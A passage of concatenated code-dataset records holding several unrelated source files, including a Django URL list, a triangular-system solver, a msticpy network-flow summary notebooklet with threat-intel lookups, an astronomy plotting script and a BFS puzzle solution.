path('update/profile/', views.ProfileUpdateView.as_view()),\n path('delete/profile/', views.ProfileDeleteView.as_view()),\n # Profile industries\n path('add/profile/industries/', views.ProfileIndustriesAddView.as_view()),\n path('profile/industries/', views.ProfileIndustriesGetByProfileView.as_view()),\n path('industry/vacancies/', views.ProfileIndustriesGetByIndustryView.as_view()),\n \n \n path('token/refresh/', jwt_views.TokenRefreshView.as_view(), name='token_refresh'),\n]","sub_path":"user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"634423219","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Mar 8 11:21:14 2021\r\n\r\n@author: Alexis\r\n\"\"\"\r\n\r\nimport numpy as np\r\n\r\ndef ResolutionSystTriInferieur(Taug):\r\n \r\n n , m = np.shape(Taug)\r\n \r\n Y= np.zeros((n), dtype=int)\r\n for i in range (0,n):\r\n somme=0\r\n for j in range(0,n):\r\n somme= somme + Y[j]*Taug[i,j]\r\n Y[i]=(Taug[i,n]-somme)/Taug[i,i]\r\n return(Y)","sub_path":"ResolutionSystTriInferieur.py","file_name":"ResolutionSystTriInferieur.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"365788879","text":"# -------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n# --------------------------------------------------------------------------\n\"\"\"Notebooklet for Network Flow Summary.\"\"\"\nfrom ipaddress import ip_address\nfrom itertools import chain\nfrom typing import Any, Dict, Iterable, List, Optional, Set, Tuple\n\nimport pandas as pd\nfrom bokeh.models import LayoutDOM\nfrom IPython.display import display\nfrom msticpy.common.timespan import TimeSpan\nfrom msticpy.datamodel import entities\n\ntry:\n from msticpy import nbwidgets\n from msticpy.context.ip_utils import get_ip_type, get_whois_df\n from msticpy.context.ip_utils import ip_whois as get_whois_info\n from msticpy.context.tiproviders.ti_provider_base import ResultSeverity\n from msticpy.vis import foliummap\n from msticpy.vis.timeline import display_timeline, display_timeline_values\nexcept ImportError:\n # Fall back to msticpy locations prior to v2.0.0\n from msticpy.nbtools import foliummap, nbwidgets\n from msticpy.nbtools.nbdisplay import display_timeline, display_timeline_values\n from msticpy.sectools.ip_utils import get_ip_type, get_whois_df, get_whois_info\n from msticpy.sectools.tiproviders.ti_provider_base import ResultSeverity\n\nfrom .... import nb_metadata\nfrom ...._version import VERSION\nfrom ....common import (\n MsticnbMissingParameterError,\n nb_data_wait,\n nb_markdown,\n nb_warn,\n set_text,\n)\nfrom ....data_providers import DataProviders\nfrom ....nblib.azsent.host import get_aznet_topology, get_heartbeat\nfrom ....notebooklet import NBMetadata, Notebooklet, NotebookletResult\n\n__version__ = VERSION\n__author__ = \"Ian Hellen\"\n\n\n_CLS_METADATA: NBMetadata\n_CELL_DOCS: Dict[str, Any]\n_CLS_METADATA, _CELL_DOCS = nb_metadata.read_mod_metadata(__file__, __name__)\n\n\n# pylint: disable=too-few-public-methods, too-many-instance-attributes\nclass NetworkFlowResult(NotebookletResult):\n \"\"\"\n Network Flow Details Results.\n\n Attributes\n ----------\n host_entity : msticpy.datamodel.entities.Host\n The host entity object contains data about the host\n such as name, environment, operating system version,\n IP addresses and Azure VM details. Depending on the\n type of host, not all of this data may be populated.\n network_flows : pd.DataFrame\n The raw network flows recorded for this host.\n plot_flows_by_protocol : LayoutDOM\n Bokeh timeline plot of flow events by protocol.\n plot_flows_by_direction : LayoutDOM\n Bokeh timeline plot of flow events by direction (in/out).\n plot_flow_values : LayoutDOM\n Bokeh values plot of flow events by protocol.\n flow_index : pd.DataFrame\n Summarized DataFrame of flows\n flow_index_data : pd.DataFrame\n Raw summary data of flows.\n flow_summary : pd.DataFrame\n Summarized flows grouped by ASN\n ti_results : pd.DataFrame\n Threat Intelligence results for selected IP Addreses.\n geo_map : foliummap.FoliumMap\n Folium map showing locations of all IP Addresses.\n geo_map_selected : foliummap.FoliumMap\n Folium map showing locations of selected IP Addresses.\n\n \"\"\"\n\n def __init__(\n self,\n description: Optional[str] = None,\n timespan: Optional[TimeSpan] = None,\n notebooklet: Optional[\"Notebooklet\"] = None,\n ):\n \"\"\"\n Create new Notebooklet result instance.\n\n Parameters\n ----------\n description : Optional[str], optional\n Result description, by default None\n timespan : Optional[TimeSpan], optional\n TimeSpan for the results, by default None\n notebooklet : Optional[, optional\n Originating notebooklet, by default None\n\n \"\"\"\n super().__init__(description, timespan, notebooklet)\n self.description: str = \"Network flow results\"\n self.host_entity: entities.Host = None\n self.network_flows: Optional[pd.DataFrame] = None\n self.plot_flows_by_protocol: Optional[LayoutDOM] = None\n self.plot_flows_by_direction: Optional[LayoutDOM] = None\n self.plot_flow_values: Optional[LayoutDOM] = None\n self.flow_index: Optional[pd.DataFrame] = None\n self.flow_index_data: Optional[pd.DataFrame] = None\n self.flow_summary: Optional[pd.DataFrame] = None\n self.ti_results: Optional[pd.DataFrame] = None\n self.geo_map: foliummap.FoliumMap = None\n\n\nclass NetworkFlowSummary(Notebooklet):\n \"\"\"\n Network Flow Summary Notebooklet class.\n\n Queries network data and plots time lines for network\n traffic to/from a host or IP address.\n\n - Plot flows events by protocol and direction\n - Plot flow count by protocol\n - Display flow summary table\n - Display flow summary by ASN\n - Display results on map\n\n Methods\n -------\n - run: main method for notebooklet.\n - select_asns: Open an interactive dialog to choose which ASNs to\n investigate further.\n - lookup_ti_for_asn_ips: For selected ASNs, lookup Threat Intelligence\n data for the IPs belonging to those ASNs.\n - show_selected_asn_map: Show IP address locations for selected IP\n (including any threats highlighted)\n\n \"\"\"\n\n # assign metadata from YAML to class variable\n metadata = _CLS_METADATA\n __doc__ = nb_metadata.update_class_doc(__doc__, metadata)\n _cell_docs = _CELL_DOCS\n\n def __init__(self, data_providers: Optional[DataProviders] = None, **kwargs):\n \"\"\"\n Intialize a new instance of the notebooklet class.\n\n Parameters\n ----------\n data_providers : DataProviders, Optional\n Optional DataProviders instance to query data.\n Most classes require this.\n\n \"\"\"\n super().__init__(data_providers, **kwargs)\n\n self.asn_selector: Optional[nbwidgets.SelectSubset] = None\n self.flow_index_data = pd.DataFrame()\n\n # pylint: disable=too-many-branches\n @set_text(docs=_CELL_DOCS, key=\"run\") # noqa: MC0001\n def run( # noqa: MC0001\n self,\n value: Any = None,\n data: Optional[pd.DataFrame] = None,\n timespan: Optional[TimeSpan] = None,\n options: Optional[Iterable[str]] = None,\n **kwargs,\n ) -> NetworkFlowResult:\n \"\"\"\n Return host summary data.\n\n Parameters\n ----------\n value : str\n Host entity, hostname or host IP Address\n data : Optional[pd.DataFrame], optional\n Not used, by default None\n timespan : TimeSpan\n Timespan over which operations such as queries will be\n performed, by default None.\n This can be a TimeStamp object or another object that\n has valid `start`, `end`, or `period` attributes.\n options : Optional[Iterable[str]], optional\n List of options to use, by default None\n A value of None means use default options.\n Options prefixed with \"+\" will be added to the default options.\n To see the list of available options type `help(cls)` where\n \"cls\" is the notebooklet class or an instance of this class.\n\n Other Parameters\n ----------------\n start : Union[datetime, datelike-string]\n Alternative to specifying timespan parameter.\n end : Union[datetime, datelike-string]\n Alternative to specifying timespan parameter.\n\n Returns\n -------\n HostNetworkResult\n Result object with attributes for each result type.\n\n Raises\n ------\n MsticnbMissingParameterError\n If required parameters are missing\n\n \"\"\"\n super().run(\n value=value, data=data, timespan=timespan, options=options, **kwargs\n )\n\n if not value:\n raise MsticnbMissingParameterError(\"value\")\n if not timespan:\n raise MsticnbMissingParameterError(\"timespan.\")\n\n result = NetworkFlowResult(\n notebooklet=self, description=self.metadata.description, timespan=timespan\n )\n\n if isinstance(value, entities.Host):\n host_name = value.HostName\n result.host_entity = value\n host_ip = None\n else:\n host_ip, host_name = _ip_or_hostname(value)\n result.host_entity = _create_host_entity(\n host_name=host_name, host_ip=host_ip\n )\n\n result.description = (\n f\"Network flow summary for {host_name or host_ip or 'unknown'}\"\n ) # type: ignore\n\n flow_df = _get_az_net_flows(\n self.query_provider, self.timespan, host_ip, host_name\n )\n result.network_flows = flow_df\n\n if \"resolve_host\" in self.options or not hasattr(\n result.host_entity, \"IpAddress\"\n ):\n result.host_entity = _get_host_details(\n qry_prov=self.query_provider, host_entity=result.host_entity\n )\n if \"plot_flows\" in self.options:\n result.plot_flows_by_protocol = _plot_flows_by_protocol(flow_df)\n result.plot_flows_by_direction = _plot_flows_by_direction(flow_df)\n if \"plot_flow_values\" in self.options:\n result.plot_flow_values = _plot_flow_values(flow_df)\n flow_index = None\n if \"flow_summary\" in self.options:\n flow_index = _extract_flow_ips(flow_df)\n result.flow_index = _get_flow_index(flow_index)\n if not self.silent:\n display(result.flow_index)\n result.flow_summary = _get_flow_summary(flow_index)\n if not self.silent:\n display(result.flow_summary)\n result.flow_index_data = flow_index\n if \"geo_map\" in self.options and flow_index is not None:\n geo_lookup = self.get_provider(\"geolitelookup\") or self.get_provider(\n \"ipstacklookup\"\n )\n result.geo_map = _display_geo_map_all(\n flow_index=flow_index,\n ip_locator=geo_lookup,\n host_entity=result.host_entity,\n )\n if not self.silent:\n display(result.geo_map)\n\n nb_markdown(\"Select ASNs to examine using select_asns()\")\n nb_markdown(\n \"Lookup threat intel for IPs from selected ASNs using\"\n + \" lookup_ti_for_asn_ips()\"\n )\n nb_markdown(\"Display Geolocation of threats with show_selected_asn_map()\")\n nb_markdown(\"For usage type 'help(NetworkFlowSummary.function_name)'\")\n\n # pylint: disable=attribute-defined-outside-init\n # (defined in parent class)\n self._last_result = result\n return self._last_result\n\n def select_asns(self):\n \"\"\"Show interactive selector to choose which ASNs to process.\"\"\"\n if not self._last_result or self._last_result.flow_summary is None:\n print(\n \"Please use 'run' with 'flow_summary' option before using\",\n \"this method.\",\n )\n return\n self.asn_selector = _select_asn_subset(\n flow_sum_df=self._last_result.flow_summary,\n host_entity=self._last_result.host_entity,\n )\n display(self.asn_selector)\n\n def lookup_ti_for_asn_ips(self):\n \"\"\"Lookup Threat Intel data for IPs of selected ASNs.\"\"\"\n if (\n not self._last_result\n or self._last_result.flow_summary is None\n or not self.asn_selector\n ):\n print(\n \"Please use 'run()' with 'flow_summary' option before using\",\n \"this method.\\n\",\n \"Then call 'select_asns()' to select the ASNs to lookup.\\n\",\n \"Then call 'lookup_ti_for_asn_ips()'.\",\n )\n return\n\n selected_ips = _get_ips_from_selected_asn(\n flow_sum_df=self._last_result.flow_summary, select_asn=self.asn_selector\n )\n self._last_result.ti_results = _lookup_ip_ti(\n flows_df=self._last_result.flow_index_data,\n selected_ips=selected_ips,\n ti_lookup=self.data_providers[\"tilookup\"],\n )\n\n def show_selected_asn_map(self) -> foliummap.FoliumMap:\n \"\"\"\n Display map of IP locations for selected ASNs.\n\n Returns\n -------\n FoliumMap\n msticpy Folium instance.\n\n \"\"\"\n if (\n not self._last_result\n or self._last_result.flow_summary is None\n or not self.asn_selector\n ):\n print(\n \"Please use 'run()' with 'flow_summary' option before using\",\n \"this method. Then run 'select_asns()' (and optionally)\",\n \"'lookup_ti_for_asn_ips()'.\",\n \"\\nThen call 'show_selected_asn_map()'\",\n )\n return None\n geo_lookup = self.get_provider(\"geolitelookup\") or self.get_provider(\n \"ipstacklookup\"\n )\n geo_map = _display_geo_map(\n flow_index=self._last_result.flow_summary,\n ip_locator=geo_lookup,\n host_entity=self._last_result.host_entity,\n ti_results=self._last_result.ti_results,\n select_asn=self.asn_selector,\n )\n if self.silent:\n display(geo_map)\n return geo_map\n\n\n# %%\n# Helper functions\ndef _ip_or_hostname(search_value) -> Tuple[Any, Any]:\n search_value = search_value.strip()\n try:\n ip_address(search_value)\n return search_value, None\n except ValueError:\n return None, search_value\n\n\ndef _create_host_entity(host_name=None, host_ip=None):\n host_entity = entities.Host()\n if host_name:\n host_entity.HostName = host_name\n if host_ip:\n ip_entity = entities.IpAddress(Address=host_ip)\n host_entity.IpAddress = ip_entity\n return host_entity\n\n\ndef _get_host_details(qry_prov, host_entity):\n host_ip = getattr(host_entity, \"IpAddress\", None)\n host_name = getattr(host_entity, \"HostName\", None)\n\n host_entity = get_heartbeat(qry_prov=qry_prov, host_ip=host_ip, host_name=host_name)\n get_aznet_topology(\n qry_prov=qry_prov, host_ip=host_ip, host_entity=host_entity, host_name=host_name\n )\n return host_entity\n\n\n# %%\n# Get network flows\ndef _get_az_net_flows(qry_prov, timespan, ip_addr, hostname):\n nb_data_wait(\"AzureNetworkAnalytics\")\n if ip_addr:\n flow_df = qry_prov.Network.list_azure_network_flows_by_ip(\n timespan, ip_address_list=ip_addr\n )\n else:\n flow_df = qry_prov.Network.list_azure_network_flows_by_host(\n timespan, host_name=hostname\n )\n\n flow_df[\"TotalAllowedFlows\"] = (\n flow_df[\"AllowedOutFlows\"] + flow_df[\"AllowedInFlows\"]\n )\n return flow_df\n\n\n# %%\n# Plot flows\n@set_text(docs=_CELL_DOCS, key=\"plot_flows_by_protocol\")\ndef _plot_flows_by_protocol(flow_df):\n return display_timeline(\n data=flow_df,\n group_by=\"L7Protocol\",\n title=\"Network Flows by Protocol\",\n time_column=\"FlowStartTime\",\n source_columns=[\"FlowType\", \"AllExtIPs\", \"L7Protocol\", \"FlowDirection\"],\n height=300,\n legend=\"right\",\n yaxis=True,\n )\n\n\n@set_text(docs=_CELL_DOCS, key=\"plot_flows_by_direction\")\ndef _plot_flows_by_direction(flow_df):\n return display_timeline(\n data=flow_df,\n group_by=\"FlowDirection\",\n title=\"Network Flows by Direction\",\n time_column=\"FlowStartTime\",\n source_columns=[\"FlowType\", \"AllExtIPs\", \"L7Protocol\", \"FlowDirection\"],\n height=300,\n legend=\"right\",\n yaxis=True,\n )\n\n\n# %%\n# Plot flow values\n@set_text(docs=_CELL_DOCS, key=\"plot_flow_values\")\ndef _plot_flow_values(flow_df, related_alert=None):\n return display_timeline_values(\n data=flow_df,\n group_by=\"L7Protocol\",\n source_columns=[\n \"FlowType\",\n \"AllExtIPs\",\n \"L7Protocol\",\n \"FlowDirection\",\n \"TotalAllowedFlows\",\n ],\n time_column=\"FlowStartTime\",\n title=\"Network flows by Layer 7 Protocol\",\n y=\"TotalAllowedFlows\",\n ref_event=related_alert,\n legend=\"right\",\n height=500,\n kind=[\"vbar\", \"circle\"],\n )\n\n\n# %%\n# Extract source and dest IPs\ndef _extract_flow_ips(flow_df):\n cols = [\n \"VMName\",\n \"VMIPAddress\",\n \"PublicIPs\",\n \"SrcIP\",\n \"DestIP\",\n \"L4Protocol\",\n \"L7Protocol\",\n \"DestPort\",\n \"FlowDirection\",\n \"AllExtIPs\",\n \"TotalAllowedFlows\",\n ]\n flow_index = flow_df[cols].copy()\n\n def get_source_ip(row):\n if row.FlowDirection == \"O\":\n return row.VMIPAddress or row.SrcIP\n return row.AllExtIPs or row.DestIP\n\n def get_dest_ip(row):\n if row.FlowDirection == \"O\":\n return row.AllExtIPs or row.DestIP\n return row.VMIPAddress or row.SrcIP\n\n flow_index[\"source\"] = flow_index.apply(get_source_ip, axis=1)\n flow_index[\"dest\"] = flow_index.apply(get_dest_ip, axis=1)\n\n return flow_index\n\n\n@set_text(docs=_CELL_DOCS, key=\"get_flow_index\")\ndef _get_flow_index(flow_summary_df):\n return (\n flow_summary_df[\n [\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\", \"TotalAllowedFlows\"]\n ]\n .groupby([\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\"])\n .sum()\n .reset_index()\n .style.bar(subset=[\"TotalAllowedFlows\"], color=\"#d65f5f\")\n )\n\n\n# %%\n# Flow Summary and Whois lookup\n@set_text(docs=_CELL_DOCS, key=\"get_flow_summary\")\ndef _get_flow_summary(flow_index):\n flows_df = (\n flow_index[\n [\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\", \"TotalAllowedFlows\"]\n ]\n .groupby([\"source\", \"dest\", \"L7Protocol\", \"FlowDirection\"])\n .sum()\n .reset_index()\n )\n\n num_ips = len(flows_df[\"source\"].unique()) + len(flows_df[\"dest\"].unique())\n nb_markdown(f\"Found {num_ips} unique IP Addresses.\")\n\n nb_data_wait(\"Whois\")\n asn_columns = []\n if flows_df[\"dest\"].apply(get_ip_type).unique() != [\"Private\"]:\n flows_df = get_whois_df(\n flows_df,\n ip_column=\"dest\",\n asn_col=\"DestASN\",\n whois_col=\"DestASNFull\",\n show_progress=True,\n )\n asn_columns.append(\"DestASN\")\n if flows_df[\"source\"].apply(get_ip_type).unique() != [\"Private\"]:\n flows_df = get_whois_df(\n flows_df,\n ip_column=\"source\",\n asn_col=\"SourceASN\",\n whois_col=\"SourceASNFull\",\n show_progress=True,\n )\n asn_columns.append(\"SourceASN\")\n\n if isinstance(flows_df, pd.DataFrame) and not flows_df.empty:\n return (\n flows_df.groupby(asn_columns)\n .agg(\n TotalAllowedFlows=pd.NamedAgg(\n column=\"TotalAllowedFlows\", aggfunc=\"sum\"\n ),\n L7Protocols=pd.NamedAgg(\n column=\"L7Protocol\", aggfunc=lambda x: x.unique().tolist()\n ),\n source_ips=pd.NamedAgg(\n column=\"source\", aggfunc=lambda x: x.unique().tolist()\n ),\n dest_ips=pd.NamedAgg(\n column=\"dest\", aggfunc=lambda x: x.unique().tolist()\n ),\n )\n .reset_index()\n )\n\n return None\n\n\n# %%\n# ASN Selection\ndef _get_source_host_asns(host_entity):\n host_ips = getattr(host_entity, \"PublicIpAddresses\", [])\n host_ips.append(getattr(host_entity, \"IpAddress\", None))\n host_asns = []\n for ip_entity in host_ips:\n if get_ip_type(ip_entity.Address) == \"Public\":\n ip_entity.ASNDescription, ip_entity.ASNDetails = get_whois_info(\n ip_entity.Address\n )\n host_asns.append(ip_entity.ASNDescription)\n return host_asns\n\n\n@set_text(docs=_CELL_DOCS, key=\"select_asn_subset\")\ndef _select_asn_subset(flow_sum_df, host_entity):\n our_host_asns = _get_source_host_asns(host_entity)\n all_asns: List[str] = []\n other_asns: List[str] = []\n\n # Select the ASNs in the 25th percentile (lowest number of flows)\n quant_25pc = flow_sum_df[\"TotalAllowedFlows\"].quantile(q=[0.25]).iat[0]\n quant_25pc_df = flow_sum_df[flow_sum_df[\"TotalAllowedFlows\"] <= quant_25pc]\n\n if \"DestASN\" in flow_sum_df.columns:\n all_asns.extend(flow_sum_df[\"DestASN\"].unique())\n other_asns.extend(quant_25pc_df[\"DestASN\"].unique())\n if \"SourceASN\" in flow_sum_df.columns:\n all_asns.extend(flow_sum_df[\"SourceASN\"].unique())\n other_asns.extend(quant_25pc_df[\"SourceASN\"].unique())\n all_asns = set(all_asns) - {\"private address\"}\n other_asns = set(other_asns) - set(our_host_asns)\n return nbwidgets.SelectSubset(source_items=all_asns, default_selected=other_asns)\n\n\n# %%\n# Lookup ASN IPs with TILookup\ndef _get_ips_from_selected_asn(flow_sum_df, select_asn):\n dest_ips: Set[str] = set()\n src_ips: Set[str] = set()\n if \"DestASN\" in flow_sum_df.columns:\n dest_ips = set(\n chain.from_iterable(\n flow_sum_df[flow_sum_df[\"DestASN\"].isin(select_asn.selected_items)][\n \"dest_ips\"\n ]\n )\n )\n if \"SourceASN\" in flow_sum_df.columns:\n src_ips = set(\n chain.from_iterable(\n flow_sum_df[flow_sum_df[\"SourceASN\"].isin(select_asn.selected_items)][\n \"source_ips\"\n ]\n )\n )\n selected_ips = dest_ips | src_ips\n nb_markdown(f\"{len(selected_ips)} unique IPs in selected ASNs\")\n return selected_ips\n\n\n@set_text(docs=_CELL_DOCS, key=\"lookup_ip_ti\")\ndef _lookup_ip_ti(flows_df, ti_lookup, selected_ips):\n def ti_check_ser_sev(severity, threshold):\n threshold = ResultSeverity.parse(threshold)\n return severity.apply(lambda x: ResultSeverity.parse(x) >= threshold)\n\n # Add the IoCType to save cost of inferring each item\n nb_data_wait(\"Threat Intelligence\")\n selected_ip_dict = {ip: \"ipv4\" for ip in selected_ips}\n ti_results = ti_lookup.lookup_iocs(data=selected_ip_dict)\n\n nb_markdown(f\"{len(ti_results)} TI results received.\")\n if ti_results.empty:\n return pd.DataFrame(columns=[\"Ioc\"])\n\n ti_results_pos = ti_results[ti_check_ser_sev(ti_results[\"Severity\"], 1)]\n nb_markdown(f\"{len(ti_results_pos)} positive results found.\")\n\n if not ti_results_pos.empty:\n src_pos = flows_df.merge(ti_results_pos, left_on=\"source\", right_on=\"Ioc\")\n dest_pos = flows_df.merge(ti_results_pos, left_on=\"dest\", right_on=\"Ioc\")\n ti_ip_results = pd.concat([src_pos, dest_pos])\n nb_warn(\"Positive Threat Intel Results found for the following flows\")\n nb_markdown(\n \"Please examine these IP flows using the IP Explorer notebook.\",\n \"bold, large\",\n )\n return ti_ip_results\n return pd.DataFrame(columns=[\"Ioc\"])\n\n\n# %%\n# display GeoLocations of IPs\ndef _format_ip_entity(ip_loc, row, ip_col):\n ip_entity = entities.IpAddress(Address=row[ip_col])\n ip_loc.lookup_ip(ip_entity=ip_entity)\n if \"L7Protocol\" in row:\n ip_entity.AdditionalData[\"protocol\"] = row.L7Protocol\n if \"severity\" in row:\n ip_entity.AdditionalData[\"threat severity\"] = row[\"severity\"]\n if \"Details\" in row:\n ip_entity.AdditionalData[\"threat details\"] = row[\"Details\"]\n return ip_entity\n\n\n# pylint: disable=too-many-branches\n@set_text(docs=_CELL_DOCS, key=\"display_geo_map_all\")\ndef _display_geo_map_all(flow_index, ip_locator, host_entity):\n folium_map = foliummap.FoliumMap(zoom_start=4)\n if flow_index is None or flow_index.empty:\n nb_markdown(\"No network flow data available.\")\n return None\n\n # Get the flow records for all flows not in the TI results\n selected_out = flow_index\n\n if selected_out.empty:\n ips_out = []\n else:\n nb_data_wait(\"IP Geolocation\")\n ips_out = list(\n selected_out.apply(\n lambda x: _format_ip_entity(ip_locator, x, \"dest\"), axis=1\n )\n )\n\n selected_in = flow_index\n if selected_in.empty:\n ips_in = []\n else:\n nb_data_wait(\"IP Geolocation\")\n ips_in = list(\n selected_in.apply(\n lambda x: _format_ip_entity(ip_locator, x, \"source\"), axis=1\n )\n )\n\n icon_props = {\"color\": \"green\"}\n host_ips = getattr(host_entity, \"PublicIpAddresses\", [])\n host_ip = getattr(host_entity, \"IpAddress\", None)\n if host_ip:\n host_ips.append(host_ip)\n if host_ips:\n for ips in host_ips:\n ips.AdditionalData[\"host\"] = host_entity.HostName or \"unknown hostname\"\n folium_map.add_ip_cluster(ip_entities=host_ips, **icon_props)\n icon_props = {\"color\": \"blue\"}\n folium_map.add_ip_cluster(ip_entities=ips_out, **icon_props)\n icon_props = {\"color\": \"purple\"}\n folium_map.add_ip_cluster(ip_entities=ips_in, **icon_props)\n folium_map.center_map()\n return folium_map\n\n\n# pylint: enable=too-many-branches\n\n\n# pylint: disable=too-many-branches, too-many-locals\n@set_text(docs=_CELL_DOCS, key=\"display_geo_map\")\ndef _display_geo_map(flow_index, ip_locator, host_entity, ti_results, select_asn):\n folium_map = foliummap.FoliumMap(zoom_start=4)\n if flow_index is None or flow_index.empty:\n nb_markdown(\"No network flow data available.\")\n return None\n\n ips_in: List[str] = []\n ips_out: List[str] = []\n # Get the flow records for all flows not in the TI results\n if \"DestASN\" in flow_index.columns:\n selected_out = flow_index[flow_index[\"DestASN\"].isin(select_asn.selected_items)]\n sel_out_exp = selected_out.explode(\"dest_ips\")\n sel_out_exp = sel_out_exp[~sel_out_exp[\"dest_ips\"].isin(ti_results[\"Ioc\"])]\n\n if not sel_out_exp.empty:\n nb_data_wait(\"IP Geolocation\")\n ips_out = list(\n sel_out_exp.apply(\n lambda x: _format_ip_entity(ip_locator, x, \"dest_ips\"), axis=1\n )\n )\n\n if \"SourceASN\" in flow_index.columns:\n selected_in = flow_index[\n flow_index[\"SourceASN\"].isin(select_asn.selected_items)\n ]\n sel_in_exp = selected_in.explode(\"source_ips\")\n sel_in_exp = sel_in_exp[~sel_in_exp[\"source_ips\"].isin(ti_results[\"Ioc\"])]\n\n if not sel_in_exp.empty:\n nb_data_wait(\"IP Geolocation\")\n ips_in = list(\n sel_in_exp.apply(\n lambda x: _format_ip_entity(ip_locator, x, \"source_ips\"), axis=1\n )\n )\n\n icon_props = {\"color\": \"green\"}\n host_ips = getattr(host_entity, \"PublicIpAddresses\", [])\n host_ip = getattr(host_entity, \"IpAddress\", None)\n if host_ip:\n host_ips.append(host_ip)\n if host_ips:\n for ip_addr in host_ips:\n ip_addr.AdditionalData[\"host\"] = host_entity.HostName or \"unknown hostname\"\n folium_map.add_ip_cluster(ip_entities=host_ips, **icon_props)\n icon_props = {\"color\": \"blue\"}\n folium_map.add_ip_cluster(ip_entities=ips_out, **icon_props)\n icon_props = {\"color\": \"purple\"}\n folium_map.add_ip_cluster(ip_entities=ips_in, **icon_props)\n if not (ti_results is None or ti_results.empty):\n ips_threats = list(\n ti_results.apply(lambda x: _format_ip_entity(ip_locator, x, \"Ioc\"), axis=1)\n )\n icon_props = {\"color\": \"red\"}\n folium_map.add_ip_cluster(ip_entities=ips_threats, **icon_props)\n folium_map.center_map()\n\n return folium_map\n","sub_path":"msticnb/nb/azsent/network/network_flow_summary.py","file_name":"network_flow_summary.py","file_ext":"py","file_size_in_byte":27717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"571789553","text":"import sys\nsys.path.insert(0, './util')\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pyfits\nimport geometry102 as geo\n\nd = pyfits.open(\"/Users/lkreidberg/Desktop/Data/WASP107_HST14916/idex01n5q_ima.fits\")\n\nplt.plot(d[1].data.sum(axis = 0))\nplt.show()\n\nrefpix = np.genfromtxt(\"config/xrefyref.txt\")\n\nxref = refpix[0,1]\nyref = refpix[0,2]\nLTV1 = d[1].header['LTV1']\nLTV2 = d[1].header['LTV2']\nBEAMA_i = 41\nBEAMA_f = 248\n\ntrace_i = int(yref + BEAMA_i + LTV1)\ntrace_f = yref + BEAMA_f + LTV1\nprint(\"trace_i, trace_f\", trace_i, trace_f)\n\nflux = (d[1].data[:,int(trace_i):266]).sum(axis = 0)\n\ndelx = 0.5 + np.arange(266 - trace_i) + BEAMA_i\ndisp = geo.dispersion(xref, yref)\t\t\t\t#determines dispersion coefficients\nprint(\"disp\", disp)\nw = disp[0] + delx*disp[1]\n\nprint(\"w\", w)\nplt.plot(w/1.e4, flux/np.max(flux))\n\ns = np.load(\"G102_sensitivity.npy\")\nplt.plot(s[:,0], s[:,1], color='r')\n\nplt.show()\n","sub_path":"reparam_vis_combined_common_sines/check_wavelength_solution.py","file_name":"check_wavelength_solution.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"29335559","text":"import sys\nimport pprint\nsys.stdin = open('양.txt','r')\n\nimport collections \n\ndef BFS(sy,sx):\n di = [(1,0),(-1,0),(0,1),(0,-1)]\n Q = collections.deque()\n oc = 0\n vc = 0\n Q.append((sy,sx))\n while Q:\n y,x = Q.popleft()\n if board[y][x] == '.':\n board[y][x] = '#'\n if board[y][x] == 'v':\n vc += 1\n board[y][x] = '#'\n if board[y][x] == 'o':\n oc += 1\n board[y][x] = '#'\n for dy,dx in di:\n ny = y + dy\n nx = x + dx\n if 0 <= ny < R and 0 <= nx < C:\n if board[ny][nx] != '#':\n Q.append((ny,nx))\n if oc <= vc:\n return (0,vc)\n else:\n return (oc,0)\n\nR,C = map(int,input().split())\nboard = [list(input()) for _ in range(R)]\n\nresult = [0,0]\nfor y in range(R):\n for x in range(C):\n if board[y][x] != '#':\n A = BFS(y,x)\n result[0] += A[0]\n result[1] += A[1]\nr = list(map(str,result))\nprint(' '.join(r))","sub_path":"1101/양.py","file_name":"양.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"609840353","text":"# ------------------------------------------------------------------------------\n# CodeHawk Java Analyzer\n# Author: Henny Sipma\n# ------------------------------------------------------------------------------\n# The MIT License (MIT)\n#\n# Copyright (c) 2016-2020 Kestrel Technology LLC\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n# \n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ------------------------------------------------------------------------------\n\nimport chj.util.printutil as UP\n\nclass LoopSummary(object):\n\n def __init__(self,app,sources=[]):\n self.app = app\n self.jd = app.jd\n self.sources = sources\n if sources is None:\n self.sources = []\n else:\n self.sources = [int(x) for x in sources]\n\n def as_dictionary(self):\n results = {}\n for (cmsix, m) in self.app.get_methods():\n if m.get_loop_count() > 0:\n loops = m.get_loops()\n loopbounds = ','.join(l.get_bound() for l in loops)\n looptaints = self._get_loop_taints(m)\n loopresult = {}\n loopresult['loopcount'] = m.get_loop_count()\n loopresult['max-depth'] = m.get_max_depth()\n 